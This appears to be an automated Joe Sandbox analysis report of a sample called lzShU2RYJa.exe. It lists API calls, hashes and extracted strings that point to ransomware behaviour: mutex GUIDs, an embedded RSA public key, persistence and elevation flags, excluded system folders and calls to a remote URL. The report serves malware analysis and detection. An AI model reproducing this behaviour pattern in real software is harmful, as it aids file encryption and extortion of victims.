Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 9af742a07d06f3ecd781065c88ee9ca79e3637e4aebc0b0afc9ef8e485403b8a
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 8A1136B6A006747AD271A6B45C19EFF3BDCAF45702F0410A9FBDCD1180EA589B04D3B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E11960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E119C6
__CxxThrowException@8.LIBCMT ref: 05E119F1
__CxxThrowException@8.LIBCMT ref: 05E11A1A
__CxxThrowException@8.LIBCMT ref: 05E11A4B
_memset.LIBCMT ref: 05E11A6A
__CxxThrowException@8.LIBCMT ref: 05E11A90
_malloc.LIBCMT ref: 05E11AA0
_memset.LIBCMT ref: 05E11AAB
_sprintf.LIBCMT ref: 05E11ACE

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: ff734ebb59754cc2053c1fe4f99e3d873eac174f6b4dc148ea5a42126fe4926f
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: F1514F71E40219ABDB11DBA5DC4AFEFBBB8FF04744F101025FA45B6180E7745A05CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 05E0F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E0F284
__CxxThrowException@8.LIBCMT ref: 05E0F2AF
__CxxThrowException@8.LIBCMT ref: 05E0F2DE
__CxxThrowException@8.LIBCMT ref: 05E0F30F
_memset.LIBCMT ref: 05E0F32E
__CxxThrowException@8.LIBCMT ref: 05E0F354
_sprintf.LIBCMT ref: 05E0F373

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 2b5466ff7720c275d48ffd9b22bd4ccc6117e100871ee0cb84f7cb01a2135e9b
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 4B5171B1E40209AAEF11DFA1DC4AFEEBB78FB04704F106029F951B61C0D775AA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E0F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E0F4B7
__CxxThrowException@8.LIBCMT ref: 05E0F4E2
__CxxThrowException@8.LIBCMT ref: 05E0F504
__CxxThrowException@8.LIBCMT ref: 05E0F535
_memset.LIBCMT ref: 05E0F554
__CxxThrowException@8.LIBCMT ref: 05E0F57A
_sprintf.LIBCMT ref: 05E0F594

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 4fb688fc396895b0ec46b4910515323e190040e61d44e2b4df98f6ced26a62cf
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 0F515571E40209AADF21DFA1DC8AFFEBB78FB04744F101129F995B61C0D6746905CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E4208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E420C6
__invoke_watson.LIBCMT ref: 05E42120
_strlen.LIBCMT ref: 05E420D4

Part of subcall function 05E25BA8: __getptd_noexit.LIBCMT ref: 05E25BA8

_strnlen.LIBCMT ref: 05E4215F
__lock.LIBCMT ref: 05E42170
__getenv_helper_nolock.LIBCMT ref: 05E4217B

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: eab705c9899d2ddc9b1ee3181a4422d2956ca7e86ba5d8b698419ef54c4a0cb8
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: BB310836B043316BFB216F64EC09BBE3795AF05B68F116415FB85EF284DB748940CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E12670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E126DB
_memset.LIBCMT ref: 05E12A30
_memset.LIBCMT ref: 05E12AC0

Strings

D, xrefs: 05E12AC8

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 07f99897266cb54d7643e109932fcd411b13501932486c1169452d99122f5b02
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 3FE19D75D00219ABDF24DFA0CD49FEEB7B9BF04304F0450A9EA4AB6190EB746A45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 05E0D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E0D8EA

Strings

, xrefs: 05E0DADB
(, xrefs: 05E0DAE9
$, xrefs: 05E0DAE2

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: af7acf9ca5bea288491040632040c6eddab3ebea98bab2485d4986739aa07199
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 6E91BE70D04218AAEF20DFA0CD49BEEBBB5AF05304F146168D595B72C0DBB65A88CF65

Uniqueness

Uniqueness Score: -1.00%

Function 05E1A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E1A858
_memset.LIBCMT ref: 05E1A869
_memset.LIBCMT ref: 05E1A87A

Strings

p2Q, xrefs: 05E1A882

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: ebfdd19a413cb16187ff3df6e5b34c3509c95e3da93092bedd03bd511f4de6c5
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: F1F0ED78698760A5F7217750BC2AB857E917B31B08F505088E1582E2E5D3FD238CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E4FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E4FBF1

Part of subcall function 05E3169C: std::exception::_Copy_str.LIBCMT ref: 05E316B5

__CxxThrowException@8.LIBCMT ref: 05E4FC06

Strings

TeM, xrefs: 05E4FBFE
TeM, xrefs: 05E4FBE7, 05E4FBFB

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 38824a75ca40c92d980c6fe74dac4d3587b370343c3ad6acacf7147011defbaf
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: F7D06775D0020CBBCB04EFA5D45ECDDBBB8AA04344B009466A95497241EA74A349CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05E0D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E2197D: __wfsopen.LIBCMT ref: 05E21988

_fgetws.LIBCMT ref: 05E0D15C

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 41be027afa63cc8f4c5e42b414b61d61816cef8de9433f4977380415dce1ddbb
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: FC91C371E04319ABDF20DFE4CE44BAEB7B5BF04314F143529E895A3280E775AA84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E0D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E0D77E
_malloc.LIBCMT ref: 05E0D7B2
_malloc.LIBCMT ref: 05E0D7C1
_fprintf.LIBCMT ref: 05E0D815

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c13171860a5fe7994414506f002f3a9aa6f6e39ec9cc167e9a58b58db2bcfac4
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: E8A1B3B1D00258EBEF11EFE4CC49BDEBB71AF14304F141028D5457B291D7B65688CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E22AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E22B2E
__read_nolock.LIBCMT ref: 05E22BFE
__filbuf.LIBCMT ref: 05E22C21
_memset.LIBCMT ref: 05E22C65

Part of subcall function 05E25BA8: __getptd_noexit.LIBCMT ref: 05E25BA8

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: d74ae736a456d71f4b411f87b0a502d31257ead16f43055fd1babc068e28cab1
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 8451F638B043259BEB24CF7888845AE77B6BF40324F149329FABAD62D8D7709950CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05E41359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E4137D

Part of subcall function 05E41A9D: __fltout2.LIBCMT ref: 05E41AC6

__cftog_l.LIBCMT ref: 05E413A3
__cftoe_l.LIBCMT ref: 05E413D5

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: cdcdd91c22e24c2b18fa7f5ccbad30f93b906202cf4da43665a3d2a504321e0b
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 25014B3284414EFBCF1A5E84ED05CEE3F63BB59254F499415FA9958830D236C5B1EF81

Uniqueness

Uniqueness Score: -1.00%

Function 05EC7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EC7A4B

Part of subcall function 05EC8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EC8172
Part of subcall function 05EC8140: ___AdjustPointer.LIBCMT ref: 05EC8189

_UnwindNestedFrames.LIBCMT ref: 05EC7A62
___FrameUnwindToState.LIBCMT ref: 05EC7A74
CallCatchBlock.LIBCMT ref: 05EC7A98

Memory Dump Source

Source File: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e00000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 7fff2cbd6ef54014177e426eac3f0ac23a8fd30499f41f7e9dc5bd7728285cf2
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: D501DB32500109BBDF12AF55CE04EDA7FAAFF48754F159098FD9865220D732E562DFA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: lzShU2RYJa.exePID: 7464, Parent PID: 7448COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007CAE70,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
C:\Program Files\Google\, xrefs: 0041AFB9
--ForNetRes, xrefs: 0041A22E
X1P, xrefs: 0041A485
--Service, xrefs: 0041A30B
IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
--Admin, xrefs: 0041A1B4, 0041A632
F:\, xrefs: 0041B397
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
%username%, xrefs: 0041B283
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
--Task, xrefs: 0041A2CD
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
x*P, xrefs: 0041ACE4
runas, xrefs: 0041A6CE
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsNotTask, xrefs: 0041A654
list<T> too long, xrefs: 0041B669, 0041B673
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files (x86)\Google\, xrefs: 0041B085
7P, xrefs: 0041B164
--AutoStart, xrefs: 0041A2EC
<, xrefs: 0041A67B
I:\5d2860c89d774.jpg, xrefs: 0041B32F
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
x2Q, xrefs: 0041A856
C:\Windows\, xrefs: 0041AE0F
IsNotAutoStart, xrefs: 0041A645
D:\Windows\, xrefs: 0041AFF3
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
IsTask, xrefs: 0041A1EE, 0041A299

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3638767399
Opcode ID: 288c0c3dcbd61a19c8bbebffdf2d2b56ac289747dc29f1a5941cdafbd04d80eb
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 288c0c3dcbd61a19c8bbebffdf2d2b56ac289747dc29f1a5941cdafbd04d80eb
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,073EF934), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Heap32ListFirst, xrefs: 00481DB4
CryptReleaseContext, xrefs: 00481AF6
GetForegroundWindow, xrefs: 00481C4A
LanmanServer, xrefs: 00481A74
CryptGenRandom, xrefs: 00481AE3
$, xrefs: 00481F7E
Heap32ListNext, xrefs: 00481DC7
CloseToolhelp32Snapshot, xrefs: 00481D7B
NetStatisticsGet, xrefs: 004819E2
ADVAPI32.DLL, xrefs: 00481989
CryptAcquireContextW, xrefs: 00481AD5
Thread32Next, xrefs: 00481E13
GetQueueStatus, xrefs: 00481C6B
USER32.DLL, xrefs: 00481C31
Module32Next, xrefs: 00481E39
GetCursorInfo, xrefs: 00481C58
NETAPI32.DLL, xrefs: 004819A9
NetApiBufferFree, xrefs: 004819F0
LanmanWorkstation, xrefs: 00481A26
Heap32Next, xrefs: 00481DA1
CreateToolhelp32Snapshot, xrefs: 00481D67
Heap32First, xrefs: 00481D8E
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
Process32Next, xrefs: 00481DED
Process32First, xrefs: 00481DDA
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
KERNEL32.DLL, xrefs: 0048199C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
